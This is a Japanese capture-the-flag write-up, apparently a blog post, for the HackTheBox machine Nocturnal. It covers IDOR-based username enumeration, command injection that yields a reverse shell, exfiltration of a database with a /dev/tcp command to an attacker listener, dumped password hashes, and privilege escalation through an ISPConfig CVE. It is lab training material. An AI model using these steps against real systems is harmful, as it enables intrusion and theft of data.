1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup: Nocturnal

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Nocturnalです。

Nocturnalでは、IDOR脆弱性及びISPConfigの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 22:55 JST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.67 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後nocturnal.htbにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-05-16 22.58.07.png

ファイルのアップロードができるようなので、アカウントを登録してログインします。

スクリーンショット 2025-05-16 23.17.44.png

作成したアカウントでログイン後、リバースシェルを仕込んだphpファイルのアップロードを試みましたが、phpファイルファイルのアップロードについては制限されています。

スクリーンショット 2025-05-16 23.20.10.png

しばらくの間phpファイルのアップロードにとらわれていましたが、気がづけばうさぎの穴でした。

ファジング

許可されたファイルのアップロード後、生成されるURLに注目しました。

スクリーンショット 2025-05-16 23.18.51.png

アップロードしたファイルにアクセスする場合は、http://nocturnal.htb/view.php?の末尾にクエリパラメータとしてusernameと、fileのキーを指定します。

アクセス制限の不備を確認するため、ffufを実行してファジングを行います。

$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=text.pdf' -w /home/kali/tool/SecLists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=[REDACTED]' -fs 0,2985

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=text.pdf
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=2d0b21vlro2sv9aakkhgugblv4
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 244ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 245ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 245ms]
:: Progress: [10177/10177] :: Job [1/1] :: 163 req/sec :: Duration: [0:01:06] :: Errors: 0 ::

上記より一部のユーザー名が確認できました。

認証情報

クエリパラメータのusernameにamandaユーザーを指定してアクセスすると、privacy.odtファイルが確認できます。

スクリーンショット 2025-05-16 23.21.23.png

privacy.odtファイルをダウンロードしてfileコマンドを実行すると、OpenDocument Textファイルであることが確認できます。

$ file privacy.odt

privacy.odt: OpenDocument Text

binwalkを実行して、中身を調査します。

$ binwalk -e privacy.odt

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
77            0x4D            Zip archive data, at least v2.0 to extract, name: Configurations2/accelerator/
135           0x87            Zip archive data, at least v2.0 to extract, name: Configurations2/images/Bitmaps/
196           0xC4            Zip archive data, at least v2.0 to extract, name: Configurations2/toolpanel/
252           0xFC            Zip archive data, at least v2.0 to extract, name: Configurations2/floater/
306           0x132           Zip archive data, at least v2.0 to extract, name: Configurations2/statusbar/
362           0x16A           Zip archive data, at least v2.0 to extract, name: Configurations2/toolbar/
416           0x1A0           Zip archive data, at least v2.0 to extract, name: Configurations2/progressbar/
474           0x1DA           Zip archive data, at least v2.0 to extract, name: Configurations2/popupmenu/
530           0x212           Zip archive data, at least v2.0 to extract, name: Configurations2/menubar/
584           0x248           Zip archive data, at least v2.0 to extract, name: styles.xml
2871          0xB37           Zip archive data, at least v2.0 to extract, name: manifest.rdf
3190          0xC76           Zip archive data, at least v2.0 to extract, name: content.xml
4546          0x11C2          Zip archive data, at least v2.0 to extract, name: meta.xml
5058          0x13C2          Zip archive data, at least v2.0 to extract, name: settings.xml
7065          0x1B99          Zip archive data, at least v2.0 to extract, compressed size: 11843, uncompressed size: 11843, name: Thumbnails/thumbnail.png
18962         0x4A12          Zip archive data, at least v2.0 to extract, name: META-INF/manifest.xml

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

コマンド実行後、生成された_privacy.odt.extracted/ディレクトリを確認します。

合計  80
-rw-r--r--  1 kali kali 20400  5月 16 23:22 4D.zip
drwxr-xr-x 11 kali kali  4096  5月 16 23:22 Configurations2
drwxr-xr-x  2 kali kali  4096  5月 16 23:22 META-INF
drwxr-xr-x  2 kali kali  4096  5月 16 23:22 Thumbnails
-rw-r--r--  1 kali kali  4657  5月 16 23:22 content.xml
-rw-r--r--  1 kali kali   899  5月 16 23:22 manifest.rdf
-rw-r--r--  1 kali kali   978  5月 16 23:22 meta.xml
-rw-r--r--  1 kali kali 13728  5月 16 23:22 settings.xml
-rw-r--r--  1 kali kali 12346  5月 16 23:22 styles.xml

content.xmlファイルよりパスワードを発見しました。

<text:p text:style-name="P1">Nocturnal has set the following temporary password for you:
                [REDACTED]. This password has been set for all our services, so it is
                essential that you change it on your first login to ensure the security of your
                account and our infrastructure.</text:p>

取得したパスワードを用いてログインすると、画面左上部に管理画面のリンクが確認できます。

スクリーンショット 2025-05-16 23.28.10.png

管理画面のリンクにアクセスすると、以下の様な画面に遷移します。

スクリーンショット 2025-05-16 23.28.16.png

バックアップの機能が確認できます。パスワードを入力することで、バックアップが作成できます。

スクリーンショット 2025-05-16 23.29.03.png

脆弱性分析

バックアップ機能を調査した結果、コマンドインジェクションの脆弱性を発見しました。

従ってバックアップ作成時の通信をキャプチャして、リバースシェルを仕込みます。

スクリーンショット 2025-05-16 23.43.14.png

リバースシェルを実行させてシェルを取得します。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.64] 55054
bash: cannot set terminal process group (840): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$ 

シェルを取得後、認証情報の探索を行ないます。

$ cd ../
$ ls -l

total 16
drwxr-xr-x 2 root      root      4096 Mar  4 15:02 html
lrwxrwxrwx 1 root      root        34 Oct 17  2024 ispconfig -> /usr/local/ispconfig/interface/web
drwxr-xr-x 4 www-data  www-data  4096 May 16 14:43 nocturnal.htb
drwxr-xr-x 2 www-data  www-data  4096 May 16 14:37 nocturnal_database
drwxr-xr-x 4 ispconfig ispconfig 4096 Oct 17  2024 php-fcgi-scripts

nocturnal_databaseディレクトリよりデータベースファイルを発見しました。

$ cd nocturnal_database
$ ls -l

total 20
-rw-rw-r-- 1 www-data www-data 20480 May 16 14:37 nocturnal_database.db

攻撃側のマシンでは、事前に以下のコマンドを実行してリスナーを用意します。

nc -lvnp 8888 > nocturnal_database.db

listening on [any] 8888 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.64] 56060

リスナーを用意したらデータベースファイルを送信するため、以下のコマンドを実行します。

$ cat nocturnal_database.db > /dev/tcp/[REDACTED]/8888

< nocturnal_database.db > /dev/tcp/[REDACTED]/8888

通信完了後、ローカルにnocturnal_database.dbファイルが生成されています。

-rw-r--r-- 1 kali kali  20480  5月 16 23:49 nocturnal_database.db

SQLiteで分析するため、まずはテーブル情報を確認します。

sqlite3 nocturnal_database.db 
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads  users  

usersテーブルが確認できたので、テーブルの中身を確認します。

sqlite> .header on
sqlite> .mode column
sqlite> 
sqlite> select * from users;
id  username  password                        
--  --------  --------------------------------
1   admin     d725aeba143f575736b07e045d8ceebb
2   amanda    df8b20aa0c935023f99ea58358fb63c4
4   tobias    [REDACTED]
6   kavi      f38cde1654b39fea2bd4f72f1ae4cdda
7   e0Al5     101ad4543a96a7fd84908fd0d802e7db
8   test123   098f6bcd4621d373cade4e832627b4f6
9   aaaa      74b87337454200d4d33f80c4663dc5e5
10  nabla     a40b9db0a4ab344566e5d1a4c04d8175
11  test      098f6bcd4621d373cade4e832627b4f6
12  mapsy1    a0bd0297cfc3a4509a7e46b59298ec82
13  ddd       1aabac6d068eef6a7bad3fdf50a05cc8
14  toto      f71dbe52628a3f83a77ab494817525c6
15  bbb       08f8e0260c64418510cefb2b06eee5cd
16  hack      d78b6f30225cdc811adfe8d4e7c9fd34
17  a         0cc175b9c0f1b6a831c399e269772661

システムハッキング

データベースファイルより取得したtobiasユーザーの認証情報を用いてアクセスを行います。

ユーザーフラグ

ログイン後、ユーザーフラグが確認できます。

$ ssh tobias@nocturnal.htb

total 4
-rw-r----- 1 root tobias 33 May 16 11:57 user.txt

ルートフラグ

プロセスを調べていると、ローカルで起動しているプロセスが確認できました。

ps aux | grep php
root         827  0.0  0.7 212028 29960 ?        Ss   11:57   0:00 /usr/bin/php -S 127.0.0.1:8080

ポートフォワーディングを行いアクセスしたところ、ISPConfigのログイン画面が確認できます。

スクリーンショット 2025-05-16 23.59.40.png

ISPConfigは、Linux用のオープンソースのホスティングコントロールパネルです。ユーザー名はadimin、パスワードについては同じパスワードを使用することで、ログインできました。

スクリーンショット 2025-05-17 0.01.11.png

更なる脆弱性を探すにあたりソフトウェアのバージョン情報を調査したところ、Helpページより確認できました。

スクリーンショット 2025-05-17 0.01.27.png

ISPConfigの3.2.10p1バージョンに該当するCVEをGoogleで検索したところ、CVE-2023-46818が確認できました。

エクスプロイトを用意して実行することで、ルートに昇格できました。

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

おわりに

IDOR脆弱性は、アクセス制御の不備に起因する脆弱性の一種です。

ユーザーがリクエストに含めた識別子(例: ユーザーID、ファイル名など)に対して、アプリケーションがそのユーザーのアクセス権限を適切に検証せずに、内部リソースへアクセス可能な場合に発生します。

この脆弱性を悪用することで、攻撃者は他のユーザーのデータを参照、改ざん及び削除したり、機密情報に不正アクセスすることが可能になります。

これらの攻撃は、適切な認可チェックが欠如している場合に成立するため、開発者は入力値に紐づくリソースへのアクセス権限を必ず検証することが推奨されます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?